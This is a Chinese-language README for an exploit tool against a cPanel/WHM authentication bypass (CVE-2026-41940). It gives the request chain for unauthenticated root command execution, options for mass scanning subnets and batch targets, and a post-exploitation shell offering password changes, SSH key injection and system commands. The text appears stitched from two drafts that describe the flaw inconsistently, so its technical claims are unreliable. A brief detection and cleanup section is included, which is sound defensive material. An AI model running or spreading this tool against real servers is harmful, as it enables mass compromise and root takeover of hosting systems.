CVE-2026-41940 — cPanel/WHM认证绕过,作者Dr.Anach,`cpsrvd`基本认证处理程序中的CRLF注入 → 未认证的WHM API访问 → 以root身份执行RCE。自v11.40起所有cPanel版本受影响。
作者: Dr.Anach | 联系方式: @dranach | 许可证: MIT
cpsrvd Basic 认证处理器中的 CRLF 注入 → 未认证的 WHM API 访问 → 以 root 身份远程执行代码。影响所有自 v11.40 以来的 cPanel 版本。
| # | 步骤 | 请求 |
|---|---|---|
| 1 | 创建会话 | GET /login/?user=root |
| 2 | CRLF 注入 | Authorization: Basic <base64> — 密码携带 \r\n 载荷 |
| 3 | 缓存提升 | GET /cpsess<ID>/login/?login_only=1 |
| 4 | 执行 | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
以下是最终的 README.md — 用户友好、实用,专注于完成任务。
作者: Dr.Anach · Telegram: @dranach
版本: 2.0.0
许可证: 仅限授权安全测试
利用 CVE-2026-41940,这是 cPanel & WHM(版本 11.x 至 106.x)中的一个认证绕过漏洞。该漏洞允许未认证的攻击者通过发送指向攻击者控制服务器的精心构造的 Host 头,访问受限制的端点——包括密码重置功能。
提供三种模式:
| 模式 | 标志 | 说明 |
|---|---|---|
| 单目标 | -t | 测试一个 IP 或域名 |
| 批量文件 | --batch | 从文件加载目标列表 |
requests 库pip install requests
无其他依赖项。 CIDR 扩展使用 Python 内置的 ipaddress 模块——在 Windows 上无需额外安装。
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
targets.txt 格式:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
这将展开 192.168.128.0/18(16,384 个 IP),对每个 IP 进行快速端口检查,并仅对 端口 2087(cPanel/WHM)开放的主机尝试漏洞利用。
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
结果以 JSON 格式保存,按主机组织,包含漏洞状态、提取的令牌和原始响应详细信息。
您可能正是为此场景而来:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
工作原理:
192.168.128.0/18 → 内部生成 16,384 个 IP线程提示:
--threads 100 效果良好(遵循默认套接字限制)--threads 200 以加快扫描--threads 30 并增加 --timeoutCVSS 9.1(严重) — 无需认证、无需用户交互、复杂度低。
Host 头此工具仅用于授权安全评估。测试前您必须拥有目标或获得所有者的书面许可。作者不对滥用承担任何责任。
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
检查会话文件:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
/usr/local/cpanel/logs/access_log 中的可疑日志:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| CIDR 扫描 | --port-scan | 展开子网并测试每个存活主机 |